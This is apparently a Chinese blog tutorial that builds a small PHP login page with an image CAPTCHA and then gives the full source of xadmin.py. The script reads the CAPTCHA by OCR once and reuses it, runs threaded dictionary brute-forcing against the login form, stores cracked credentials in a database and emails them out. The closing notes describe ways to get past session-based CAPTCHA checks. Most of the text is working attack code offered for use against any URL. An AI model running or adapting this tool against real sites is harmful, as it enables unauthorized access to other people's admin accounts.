自动识别验证码暴力破解
12 minute read
0x00 环境准备
admin.php,yanzhengma.php,check_login.php
admin.php:管理员登录页面
yanzhengma.php:验证码生成页面
check_login.php:用户名密码和验证码核对页面
admin.php内容如下:
<!-- DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd" -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
</head>
<body>
<form action="check_login.php" method="post">
username:<input type="text" name="username">
<br>
password:<input type="password" name="pass">
<br>
<input type="text" name="code" />
<img id="checkpic" src="yanzhengma.php" alt="看不清楚,换一张" style="cursor: pointer; vertical-align:middle;" onClick="changing()"/>
<!--<button type="button" onClick="create_code()">更换</button>-->
<button type="submit">提交</button>
</form>
<script>
function changing(){
document.getElementById('checkpic').src="yanzhengma.php?"+Math.random();
}
</script>
</body>
</html>
yanzhengma.php内容如下:
<?php
session_start();
function random($len) {
$srcstr = "1a2s3d4f5g6hj8k9qwertyupzxcvbnm";
mt_srand();
$strs = "";
for ($i = 0; $i < $len; $i++) {
$strs .= $srcstr[mt_rand(0, 30)];
}
return $strs;
}
//随机生成的字符串
$str = random(4);
//验证码图片的宽度
$width = 50;
//验证码图片的高度
$height = 25;
//声明需要创建的图层的图片格式
@ header("Content-Type:image/png");
//创建一个图层
$im = imagecreate($width, $height);
//背景色
$back = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
//模糊点颜色
//$pix = imagecolorallocate($im, 187, 230, 247);
//字体色
//$font = imagecolorallocate($im, 41, 163, 238);
$font = imagecolorallocate($im, 0, 0, 0);
//绘模糊作用的点
//mt_srand();
//for ($i = 0; $i < 1000; $i++) {
// imagesetpixel($im, mt_rand(0, $width), mt_rand(0, $height), $pix);
//}
//输出字符
imagestring($im, 5, 7, 5, $str, $font);
//输出矩形(对图像识别杀伤大)
//imagerectangle($im, 0, 0, $width -1, $height -1, $font);
//输出图片
imagepng($im);
imagedestroy($im);
//$str = md5($str);
//选择 cookie
//SetCookie("verification", $str, time() + 7200, "/");
//选择 Session
$_SESSION["verification"] = $str;
?>
check_login.php页面内容如下:
<?php
session_start();
echo 'session:'.$_SESSION["verification"];
echo '<br>';
echo 'code:'.$_POST['code'];
if($_POST['code'] == $_SESSION["verification"] and $_POST['username']=='admin' and $_POST['pass']=='woaini'){
echo "Congratulations! you have break it,good job";
$a="A";
for($i=0;i<5000;$i++)
$a=$a."B";
echo $a;
//header("Location: http://3xp10it.cc");
}else{
echo 'no';
}
?>
0x01 xadmin.py
usage: python3 xadmin.py http://localhost/admin.php
xadmin.py为爆破代码,内容如下:
import time
import os
import re
import sys
from concurrent import futures
os.system("pip3 install exp10it -U --no-cache")
from exp10it import CLIOutput
from exp10it import figlet2file
from exp10it import get_user_and_pass_form_from_url
from exp10it import get_yanzhengma_form_and_src_from_url
from exp10it import get_string_from_url_or_picfile
from exp10it import ModulePath
from exp10it import get_remain_time
def crack_admin_login_url(
url,
user_dict_file=ModulePath + "dicts/user.txt",
pass_dict_file=ModulePath + "dicts/pass.txt",
yanzhengma_len=0):
# 这里的yanzhengma_len是要求的验证码长度,默认不设置,自动获得,根据不同情况人为设置不同值效果更好
# 爆破管理员后台登录url,尝试自动识别验证码,如果管理员登录页面没有验证码,加了任意验证码数据也可通过验证
figlet2file("cracking admin login url", 0, True)
print("cracking admin login url:%s" % url)
print("正在使用吃奶的劲爆破登录页面...")
def crack_admin_login_url_thread(xxx_todo_changeme1):
(url, username, password) = xxx_todo_changeme1
if get_flag[0] == 1:
return
if has_yanzhengma[0] == False:
values = {
'%s' %
user_form_name: '%s' %
username,
'%s' %
pass_form_name: '%s' %
password}
else:
values = {
'%s' %
user_form_name: '%s' %
username,
'%s' %
pass_form_name: '%s' %
password,
'%s' %
yanzhengma_form_name: '%s' %
yanzhengma}
try_time[0] += 1
html = s.post(post_url, values).text
USERNAME_PASSWORD = "(" + username + ":" + \
password + ")" + (52 - len(password)) * " "
# 每100次计算完成任务的平均速度
left_time = get_remain_time(
start[0],
biaoji_time[0],
remain_time[0],
100,
try_time[0],
sum[0])
remain_time[0] = left_time
# print(try_time[0])
# 这里打印出返回的内容利于判断相关信息
# print(html)
sys.stdout.write('-' * (try_time[0] * 100 // sum[0]) + '>' + str(try_time[0] * 100 // sum[0]) +
'%' + ' %s/%s remain time:%s %s\r' % (try_time[0], sum[0], remain_time[0], USERNAME_PASSWORD))
sys.stdout.flush()
if len(html) > logined_least_length:
# 认为登录成功
get_flag[0] = 1
end = time.time()
CLIOutput().good_print(
"congratulations!!! admin login url cracked succeed!!!", "red")
string = "cracked admin login url:%s username and password:(%s:%s)" % (
url, username, password)
CLIOutput().good_print(string, "red")
print("you spend time:" + str(end - start[0]))
http_domain_value = get_http_domain_from_url(url)
# 经验证terminate()应该只能结束当前线程,不能达到结束所有线程
table_name_list = get_target_table_name_list(http_domain_value)
urls_table_name = http_domain_value.split(
"/")[-1].replace(".", "_") + "_urls"
# 在爆破成功时将数据库中相应字段标记,并发送邮件
# 在非urls表中将cracked_admin_login_urls_info字段添加新的爆破信息
for each_table in table_name_list:
auto_write_string_to_sql(
string,
eval(get_key_value_from_config_file('config.ini', 'default', 'db_name')),
each_table,
"cracked_admin_login_urls_info",
"http_domain",
http_domain_value)
# 将urls表中cracked_admin_login_url_info字段标记为爆破结果信息
execute_sql_in_db(
"update %s set cracked_admin_login_url_info='%s' where url='%s'" %
(urls_table_name, string, url), eval(get_key_value_from_config_file('config.ini', 'default', 'db_name')))
mail_msg_to(
string,
subject="cracked webshell url")
return {'username': username, 'password': password}
def crack_admin_login_url_inside_func(url, username, pass_dict_file):
# urls和usernames是相同内容的列表
urls = []
usernames = []
# passwords是pass_dict_file文件对应的所有密码的集合的列表
passwords = []
i = 0
while 1:
if os.path.exists(pass_dict_file) is False:
print("please input your password dict:>", end=' ')
pass_dict_file = input()
if os.path.exists(pass_dict_file) is True:
break
else:
break
f = open(pass_dict_file, "r+")
for each in f:
urls.append(url)
usernames.append(username)
each = re.sub(r"(\s)$", "", each)
passwords.append(each)
i += 1
f.close()
sum[0] = usernames_num * i
with futures.ThreadPoolExecutor(max_workers=20) as executor:
executor.map(crack_admin_login_url_thread, list(zip(urls, usernames, passwords)))
get_result = get_user_and_pass_form_from_url(url)
user_form_name = get_result['user_form_name']
pass_form_name = get_result['pass_form_name']
# print(user_form_name)
# print(pass_form_name)
# input()
form_action_url = get_result['form_action_url']
post_url = url[:-len(url.split("/")[-1])] + form_action_url
if user_form_name is None:
print("user_form_name is None")
return
if pass_form_name is None:
print("pass_form_name is None")
return
unlogin_length = len(get_result['response_key_value']['content'])
# 如果post数据后返回数据长度超过未登录时的0.5倍则认为是登录成功
logined_least_length = unlogin_length + unlogin_length / 2
get_flag = [0]
try_time = [0]
sum = [0]
start = [0]
# 用来标记当前时间的"相对函数全局"变量
biaoji_time = [0]
# 用来标记当前剩余完成时间的"相对函数全局"变量
tmp = time.time()
remain_time = [tmp - tmp]
# current_username_password={}
has_yanzhengma = [False]
find_yanzhengma = get_yanzhengma_form_and_src_from_url(url)
# print("现在打印是否找到了验证码表单")
# print(find_yanzhengma)
# input()
if find_yanzhengma:
yanzhengma_form_name = find_yanzhengma['yanzhengma_form_name']
yanzhengma_src = find_yanzhengma['yanzhengma_src']
has_yanzhengma = [True]
while 1:
# 下面获取一次验证码,只获取一次就好了
# 这里不用exp10it模块中打包好的get_request和post_request来发送request请求,因为要保留session在服务器需要
#yanzhengma = get_string_from_url_or_picfile(yanzhengma_src)
import requests
s = requests.session()
import shutil
response = s.get(yanzhengma_src, stream=True)
with open('img.png', 'wb') as out_file:
shutil.copyfileobj(response.raw, out_file)
del response
yanzhengma = get_string_from_url_or_picfile("img.png")
os.system("rm img.png")
time.sleep(3)
if re.search(r"[^a-zA-Z0-9]+", yanzhengma):
# time.sleep(3)
continue
elif re.search(r"\s", yanzhengma):
continue
elif yanzhengma == "":
continue
else:
if yanzhengma_len != 0:
if len(yanzhengma) != yanzhengma_len:
continue
# print(yanzhengma)
# print(len(yanzhengma))
break
with open(r"%s" % user_dict_file, "r+") as user_file:
all_users = user_file.readlines()
usernames_num = len(all_users)
start[0] = time.time()
for username in all_users:
# 曾经双层多线程,没能跑完所有的组合,于是不再这里再开多线程
username = re.sub(r'(\s)$', '', username)
crack_admin_login_url_inside_func(url, username, pass_dict_file)
return get_flag[0]
if __name__ == '__main__':
url = sys.argv[1]
# 下面加4是因为http://localhost/admin.php中验证码为4,在不确定验证码长度情况下下面第二个参数不用写
# crack_admin_login_url(url,yanzhengma_len=4)
crack_admin_login_url(url)
0x02 About
1.关于验证码
这里只要获取一次验证码就可以了,因为每次post到的url不是登录页面,而是登录页面背后的form action页
面(如果form action页面和登录页面相同则不存在下面的问题),每次直接访问登录页面都会访问一次验证码
生成页面,一旦访问了验证码生成页面,客户端在服务器上存储的session就变了,所以暴破时,第一次访问登
录页面有没有验证码生成页面的url,如果有的话就尝试再直接访问这个验证码页面,而不是去访问登录页面,
访问验证码页面后,服务器上存储的session刷新了,然后再也不访问登录页面和验证码页面了[因为每次访问
到了验证码页面后服务器上存储的session都会刷新],直接提交识别到的验证码和用户名和密码到
form action的url,每次用户名和密码都可以变,但验证码可以不变
也可以尝试首先访问登录页面,尝试得到验证码url[这里session已经刷新]和form action表单提交到的url,
如果能够得到验证码url,说明登录页面有验证码,然后换一个浏览器[换一个没有访问过验证码url的浏览器]
直接将用户名和密码提交到刚才获得的form action提交到的url,这里不用加验证码就可以直接暴破了,要
求form action提交到的url[也即用户名密码和验证码验证页面]中的验证方式如:
if $_POST['eg.code']==$_SESSION['eg.verification']则通过验证码这一关验证,如果验证码的验证代码
是:
if md5($_POST['eg.code'])==$_SESSION['eg.verification']则通过验证码这一关验证
这样的形式就没办法用换浏览器不加验证码的方法来暴破了
2.关于python中的session
在xadmin.py中由于要暴力破解的url的验证码页面会在服务器上生成session,所以在python中要拥有让服务器保存session的功
能,普通的请求是不能让服务器保存session的,如果服务器上没有保存的session[也即session['eg.verification']=''],当破
解提交识别后的验证码和用户名+密码到check_login.php时,这样会始终无法成功验证,因为识别的验证码不可能为空
python的session功能访问:
http://stackoverflow.com/questions/12737740/python-requests-and-persistent-sessions
<eg.>
s=requests.session()
s.post('https://localhost/login.py', login_data)
#logged in! cookies saved for future requests.
r2 = s.get('https://localhost/profile_data.json', ...)
#cookies sent automatically!
#do whatever, s will keep your cookies intact :)
本文中代码链接如下: xadmin